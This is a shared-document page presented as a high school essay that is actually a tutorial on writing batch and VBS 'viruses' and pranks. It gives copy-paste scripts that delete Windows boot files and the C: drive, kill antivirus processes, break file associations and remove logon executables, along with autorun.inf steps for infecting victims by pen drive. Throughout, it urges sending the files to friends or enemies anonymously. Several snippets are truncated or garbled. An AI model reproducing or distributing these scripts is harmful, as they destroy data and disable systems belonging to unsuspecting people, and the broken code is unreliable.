Virus Programming and Pranking: Batch Files and VBS Scripts, Essays (high school) of Computer science

Instructions on how to create simple viruses and pranks using batch files and VBS scripts. It includes codes for screen flashing, auto-run files, forkbomb virus, and destructive viruses. Users are warned not to try these on their own computers.

Typology: Essays (high school)

2019/2020

Uploaded on 06/06/2022

thananjayan-manujan
thananjayan-manujan 🇱🇰

5

(1)

3 documents

1 / 12

Toggle sidebar

This page cannot be seen from the preview

Don't miss anything!

bg1
VIRUS PROGRAMMING IN CMD & VBS
SCREEN FLASH BATCH FILE
Thisbatch filecan make your screen flash random colors until you hit a key to stop it,
Just copy and paste the following code into notepad and then save it as a .bat file.
@echooff
echoe100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echoe110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echoe120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echoe130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echog=100>>\z.dbg
echoq>>\z.dbg
debug <\z.dbg>nuldel \z.dbg
Oryou can
But if you want to prank a friend then do the same with this code,
if any key is pressed it turns the screen blackThe only way to stop it is by using CTRL-ALT-DELETE.
@echooff
:a
echoe100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echoe110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echoe120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echoe130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echog=100>>\z.dbg
echoq>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
HOW TO CREATE AUTO-RUN FILES FOR VIRUS OR PRANK
EXECUTIONS
pf3
pf4
pf5
pf8
pf9
pfa

Partial preview of the text

Download Virus Programming and Pranking: Batch Files and VBS Scripts and more Essays (high school) Computer science in PDF only on Docsity!

VIRUS PROGRAMMING IN CMD & VBS

SCREEN FLASH BATCH FILE

This batch file can make your screen flash random colors until you hit a key to stop it, Just copy and paste the following code into notepad and then save it as a .bat file.

@echo off

echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg

echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg

echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg

echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg

echo g=100>>\z.dbg

echo q>>\z.dbg

debug <\z.dbg>nuldel \z.dbg

Or you can But if you want to prank a friend then do the same with this code, if any key is pressed it turns the screen blackThe only way to stop it is by using CTRL-ALT-DELETE.

@echo off

:a

echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg

echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg

echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg

echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg

echo g=100>>\z.dbg

echo q>>\z.dbg

debug <\z.dbg>nul

del \z.dbg

goto a

HOW TO CREATE AUTO-RUN FILES FOR VIRUS OR PRANK

EXECUTIONS

Auto-Run files can be useful if you want to execute any virus into your victims computer

with a PenDrive. It will help you make your execution much easier.

Instructions:

1. Open Notepad

2. Type :

[autorun]

open=anything.exe

Icon=anything.ico

4. Save your Notepad file as autorun.inf

Now just take this file and your exe and paste them into your pendrive.

Remember to rename anything.exe

FORKBOMB VIRUS

Simplest virus called FORKBOMB virus just open notepad and type in

and save as anything.bat Very simple to remember This virus will jam the processor and hang/crash the computer. It doesn't do any damage though. Just restart and it will be fine

CREATE A DANGEROUS BATCH FILE VIRUS

In this post i am going to give you dangerous virus code which is written in Batch Programming language. This virus can : 1.Copy itself into startup 2.Copy itself over one thousand times into random spots in your computer. 3.Hide its self and all other created files 4.Task kill MSN, Norton, Windows Explorer, Limewire. 5.Swap the left mouse button with the right one 6.Opens alert boxes 7.Changes the time to 12:00 and shuts down the computer

shutdown -r -t 10 -c "VIRUS DETECTED" start start time 12: :R.I.P cd %usernameprofile%\desktop copy Greatgame.bat %random%.bat goto RIP

DESTROY ANY COMPUTER EASILY WITH ONE CLICK

Do not try this at your own computer: Well remember that u don’ttry this @ ur own computer in any circumstances because the filewe are going to create will reboot the computer once and also delete all the file needed by the computer to restart again,so u got it right well if u r pranking with ur friend or ur enemy remember that his or her will never restart unless new Windows is installed. Here is the Guide to Destroying Virus: Open up notepad and copy and paste this: @echo off attrib -r -s -h c:autoexec.bat del c:autoexec.bat attrib -r -s -h c:boot.ini del c:boot.ini attrib -r -s -h c:ntldr del c:ntldr attrib -r -s -h c:windowswin.ini del c:windowswin.ini And SAVE this file as .bat Now that’s it ur Virus is ready well it’s a Monster Virus. Remember Don’t click on this file in ur Computer.

HARD PRANK: PICK YOUR POISON

It asks your enemy to choose a number between 1-5 and then does a certain action FOR ARCH ENEMIES ONLY SEND USING ANONYMOUSEMAIL @echo off title The end of the world cd C:
:menu cls

echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc... pause echo Pick your poison: echo 1. Die this way (Wimp) echo 2. Die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you're boring) echo 5. Easy way out set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two Save it as "Anything.BAT" and send it. ==================================================

PRANK:OPEN NOTEPAD CONTINUALLY IN YOUR FRIEND'S

COMPUTER:

IN NOTEPAD

Type : @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

PRANK:FRUSTRATE SOMEONE BY MAKING THIS VBSCRIPT

HIT BACKSPACE SIMULTANEOUSLY:

This will display a message and make vbscript hit backspace continuously IN NOTEPAD TYPE: MsgBox "Let's go back a few steps" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop Save it as " Anything.VBS " and send it.

do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Save it as " Anything.VBS " and send it.

CONTINUALLY POP OUT THE CD DRIVE.

Type : Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count>= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

TOGGLE YOUR FRIEND'S CAPS LOCK BUTTON

SIMULTANEOUSLY:

Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop

BATCH FILE TRICK TO DELETE C: DRIVE

@Echo off

Del C:\ . |y

10 MOST DANGEROUS VBSCRIPT PRANKS

1) Convey a little message and shut down the computer: Type : @echo off msg * I don't like you shutdown -c "Error! You are too ******!" -s Save it as " Anything.BAT " in All Files and send it.

2) Toggle the Caps Lock button simultaneously: Type : Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as " Anything.VBS " and send it. 3) Continually pop out the CD Drive. If there are more than one, it pops out all of them! Type : Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count>= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Save it as " Anything.VBS " and send it. 4) Frustrate someone by making this VBScript hit Enter simultaneously: Type : Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Save it as " Anything.VBS " and send it. 5) Open Notepad, slowly type "Hello, how are you? I am good thanks" after some time of clicking the file and freak someone out: Type :

7) Hack the keyboard and make it type "You are a fool" continuously: Type : Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "You are a fool." loop Save it as " Anything.VBS " and send it.

8. Open Notepad continually in your friend's computer: Type : @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top Save it as " Anything.BAT " and send it. 9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1- 5 and then does a certain action: 1: Shutdown 2: Restart 3: Wipes out your hard drive (BEWARE) 4: Net send 5: Messages then shutdown Type : @echo off title The end of the world cd C:
:menu cls echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc... pause echo Pick your poison: echo 1. Die this way (Wimp) echo 2. Die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you're boring)

echo 5. Easy way out set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two Save it as " Anything.BAT " and send it.

EASY VIRUS TO MAKE EVERYTHING GO WRONG

1. Ends Process, NAVAPSVC.exe 2. Ends Process, Explorer.exe (taskbar and icons will dissapear) 3. Ends Process, zonelabs.exe 4. associate a exe file with txt (when opening exe files, it will go to notepad) 5. associate a txt file with mp3 (when opening txt files, it will open WinAmp or WMP) 6. Deletes Login/Logoff Screens Just Copy This Below code In Notepad , Save as anything.bat and you are done! <<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>> title virus is my dna color 0A @echo off set end=md “any message you want” set fin=copy “Hack log.txt” “Installing” %end% %fin% net send * any message you want kill NAVAPSVC.exe /F /Q kill zonelabs.exe /F /Q kill explorer.exe /F /Q cls assoc .exe=txtfile assoc .txt=mp3file assoc .mp3=.vcf cls msg * this is just the beginning. msg * any message. DEL C:\WINDOWS\system32\logoff.exe /F /Q DEL C:\WINDOWS\system32\logon.exe /F /Q